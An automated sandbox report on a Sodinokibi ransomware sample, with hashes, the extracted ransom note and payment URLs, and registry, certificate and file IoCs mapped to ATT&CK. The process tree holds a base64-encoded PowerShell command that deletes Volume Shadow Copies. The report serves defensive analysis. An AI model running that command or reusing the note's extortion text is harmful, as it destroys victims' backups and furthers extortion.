sodinokibi | 926a003f4877c7a6388cf753dd4c392902fb1fe9c1ce17151446e8056b55b0d1

General

Target

6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
Size

166KB
MD5

6844bdb8fc61ede9a4ad6122721c8c71
SHA1

19f0c1511b39be9951a2e9180721748cb3ccd389
SHA256

926a003f4877c7a6388cf753dd4c392902fb1fe9c1ce17151446e8056b55b0d1
SHA512

6f1a36e723a2d280458beabd77b7377796bfaf8059019b0160af1ecce190adbed8e991e5f8016a5c2ed92d26f6b6132149f1412a5c3216e6b7a8756b2c8c88e6
SSDEEP

3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QuDHQdCer:ZJ0BXScFy2RsQJ8zguDHP

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\udhysn-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension udhysn. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3DE8D5A4C0868953 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3DE8D5A4C0868953 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: F5Wtk2+NKg8iL3FG7s4691zjYIm8inQhfx0Mgz8+sIEbyZtS1On7TPoyG9Kj+8kN Ze8be//8LjRvzUZcAfOW6kZC715vZvUSpnWsUXQELIYzJXITEvGFl1uSBwaGzvz5 HXpjX4BluTXPuplXayL9/5VuVucDzxcxx9nTB8Fbc/xtVFhZUIcfE5fAjO83GNDA qdCioPYc5ucyMltFvG8/d9g1t8VuJUH0dmVCxKMv8kW8GtICZRfe0qHolPlj0b/F CA/NWbY2b+8E7kKjBIS7oJZKTbJkvZsqnDW4fvMp7asflKp+pCSkbwyf612AHj2Q /sRMbaLP7KxG2ddqSgaifYBmb7//9LBRbd1PLVnnJ8fh7hzUZUfL2O+/XKCsCQmo X/NcgvvWyKOEsw2XCQ+VFY2pvZnZssUoYSHgQPeex6IXLiiRS5zchCuM6EBvNBrz +pAGNG0rNTVLAd7vuIOCQjwABGsKDHRBmut/WX/wqxPCtGhRkh2pNLHg07E4z63s VootE5vhQjf56VEzmb/AviPt1Pmk62rayXzSNti/r2E38dO3HukU0jmSxajazUSR YHEHvxO7U61c8/yqpQN8GFpy29ROSOd5RYijxEnoqzM21bDeL5hxpRjPM+pf70zY xnz3ZliGeKyz3/CgmMWPDSpKlDNDxg5N4mliNyEujwE47Mf2sroSlKVtAaTepupx 8vVc+TBqHEFAUzXUGKkA8Rje4dbWdO7SyYuCrrd+osdjTZ7PIjL/H/Shzfypz1u0 vdf6pVl5FwXvoT7LwVXEdHaLOSCZRh0k3CwVyuqhOkkhEblhw38oybNZ/ciedjxY ypT35txqhTgCkL1CORDZw2MmKkQF6R492eOvCs3I+ioMneCniCTcvGEeUmgmxz6O pLtGY8JXy2lJ2C57/c5+lHvEaPEWGuhi16RZ2eBWfhMkTELwj0tPxfz+sLgTnFtM 5kAtwZayUYJBing6YfuLvu2vo7AiHNsv7IodSdG2vP2/8velu3/Baozi2YIiNqvk DL6NCej4rj2k9JQHqnS5PTOhQAXTaQ44jNKs1gYsNxgOjhpJ+JdDO15KL6d8+HxW 7/jr2JcBDM0Cr0eFEwYT3JaztPkJAgvEMUjYNaLKFG50lLF7siDceNG71ASbQ67a vYErjg8vi499pisth9KzE6m1z5fMIJcjcu8Clow1yyLE872c6o9xUZzyZQ75+NHH H98wFPF8LmGmrn08LCG0MwNzOkwdhWAZ7FIyt7eiq0Nem6Rz9iYZRCTp8Oq4LkGh /l3uYza4QJCszGt2H1H8Hq+M0sKL/VY7g8ND1aEYX+bD1EOAWOeYekdReFIuDOfb IJig5hvd2JNbBpVQgulMshYCbhJ8nCL5ldLODnUEnHs= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3DE8D5A4C0868953

http://decryptor.cc/3DE8D5A4C0868953

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe"	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\O:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\V:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\X:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\F:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\B:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\L:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\M:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\S:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\Z:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\J:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\D:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\G:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\Y:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\N:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\W:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\A:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\H:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\I:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\P:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\R:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\T:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\K:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\Q:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened (read-only)	\??\U:	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\9y8m07w.bmp"	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe

Drops file in Program Files directory 21 IoCs

description	ioc	Process
File created	\??\c:\program files (x86)\udhysn-readme.txt	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\AssertTest.mp2	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DisconnectAdd.vsdm	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PushSave.wmv	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SearchUndo.vssm	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DenyPush.jpeg	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InitializeReset.wvx	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\OutUse.midi	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RedoWrite.wav	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\TestUnpublish.tif	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WaitLock.zip	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\udhysn-readme.txt	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File created	\??\c:\program files\udhysn-readme.txt	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DebugWait.vstm	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DenyClear.001	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SubmitDisable.cr2	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UninstallRegister.vdw	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DebugEdit.wav	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File opened for modification	\??\c:\program files\FindSuspend.m3u	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\udhysn-readme.txt	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\udhysn-readme.txt	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\SystemCertificates\CA\Certificates\A053375BFE84E8B748782C7CEE15827A6AF5A405\Blob = 030000000100000014000000a053375bfe84e8b748782c7cee15827a6af5a405140000000100000014000000142eb317b75856cbae500940e61faf9d8b14c2c6040000000100000010000000e829e65d7c4307d6fbc13c179e037a360f0000000100000020000000444ebd67bb83f8807b3921e938ac9178b882bd50aadb11231f044cf5f08df7ce190000000100000010000000f044424c506513d62804c04f719403f91800000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000001a05000030820516308202fea003020102021100912b084acf0c18a753f6d62e25a75f5a300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3230303930343030303030305a170d3235303931353136303030305a3032310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310b300906035504031302523330820122300d06092a864886f70d01010105000382010f003082010a0282010100bb021528ccf6a094d30f12ec8d5592c3f882f199a67a4288a75d26aab52bb9c54cb1af8e6bf975c8a3d70f4794145535578c9ea8a23919f5823c42a94e6ef53bc32edb8dc0b05cf35938e7edcf69f05a0b1bbec094242587fa3771b313e71cace19befdbe43b45524596a9c153ce34c852eeb5aeed8fde6070e2a554abb66d0e97a540346b2bd3bc66eb66347cfa6b8b8f572999f830175dba726ffb81c5add286583d17c7e709bbf12bf786dcc1da715dd446e3ccad25c188bc60677566b3f118f7a25ce653ff3a88b647a5ff1318ea9809773f9d53f9cf01e5f5a6701714af63a4ff99b3939ddc53a706fe48851da169ae2575bb13cc5203f5ed51a18bdb150203010001a382010830820104300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030206082b0601050507030130120603551d130101ff040830060101ff020100301d0603551d0e04160414142eb317b75856cbae500940e61faf9d8b14c2c6301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f30220603551d20041b30193008060667810c010201300d060b2b0601040182df13010101300d06092a864886f70d01010b0500038202010085ca4e473ea3f7854485bcd56778b29863ad754d1e963d336572542d81a0eac3edf820bf5fccb77000b76e3bf65e94dee4209fa6ef8bb203e7a2b5163c91ceb4ed3902e77c258a47e6656e3f46f4d9f0ce942bee54ce12bc8c274bb8c1982fa2afcd71914a08b7c8b8237b042d08f908573e83d904330a472178098227c32ac89bb9ce5cf264c8c0be79c04f8e6d440c5e92bb2ef78b10e1e81d4429db5920ed63b921f81226949357a01d6504c10a22ae100d4397a1181f7ee0e08637b55ab1bd30bf876e2b2aff214e1b05c3f51897f05eacc3a5b86af02ebc3b33b9ee4bdeccfce4af840b863fc0554336f668e136176a8e99d1ffa540a734b7c0d063393539756ef2ba76c89302e9a94b6c17ce0c02d9bd81fb9fb768d40665b3823d7753f88e7903ad0a3107752a43d8559772c4290ef7c45d4ec8ae468430d7f2855f18a179bbe75e708b07e18693c3b98fdc6171252aafdfed255052688b92dce5d6b5e3da7dd0876c842131ae82f5fbb9abc889173de14ce5380ef6bd2bbd968114ebd5db3d20a77e59d3e2f858f95bb848cdfe5c4f1629fe1e5523afc811b08dea7c9390172ffdaca20947463ff0e9b0b7ff284d6832d6675e1e69a393b8f59d8b2f0bd25243a66f3257654d3281df3853855d7e5d6629eab8dde495b5cdb5561242cdc44ec6253844506decce005518fee94964d44eca979cb45bc073a8abb847c2	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\SystemCertificates\CA\Certificates\A053375BFE84E8B748782C7CEE15827A6AF5A405	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2892	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
2096	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeBackupPrivilege	2392	vssvc.exe
Token: SeRestorePrivilege	2392	vssvc.exe
Token: SeAuditPrivilege	2392	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 2096	2892	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe	28
PID 2892 wrote to memory of 2096	2892	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe	28
PID 2892 wrote to memory of 2096	2892	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe	28
PID 2892 wrote to memory of 2096	2892	6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe	28

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\6844bdb8fc61ede9a4ad6122721c8c71_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2096

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2620

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

3

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabE340.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarE50B.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\udhysn-readme.txt

Filesize
6KB

MD5
3d72750c7c73175438de09bed9fce605

SHA1
97621253a77e1e3990c066c53f5f719191f294d7

SHA256
6cd380f35b0764933d141d7c698c03add1761896a7f97f6916ffc5a9778701ff

SHA512
5f6e2ab6f7e14f3aaca102b5601e51ba933fc09d022ee66424b0270d136c2666a76702de26d30bfcc49b4a13592864d75000ed114ac6c35cb4dfc3284aca7c5d

Download Submit
C:\Windows\System32\catroot2\dberr.txt

Filesize
192KB

MD5
d709e6377b5d59e3ceef94cdd4b02ad2

SHA1
6be1bb44b6dc56b4eccfa3bbb9e7b7f763ea129b

SHA256
2793237760469cbac437bec4abdc4719a730a6e1d33cdec95a15509c2c268039

SHA512
729f2d3f8ed37ca2fbff961d9dceae7174337fade5434c18ee0235029c2da7c1d852dc9500297021a2854a020d70e9d90e4fb523cb16e54929c1287760c026fd

Download Submit
memory/2096-7-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-10-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-11-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-12-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-9-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-8-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-4-0x000007FEF587E000-0x000007FEF587F000-memory.dmp

Filesize
4KB

Download
memory/2096-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2096-5-0x000000001B110000-0x000000001B3F2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads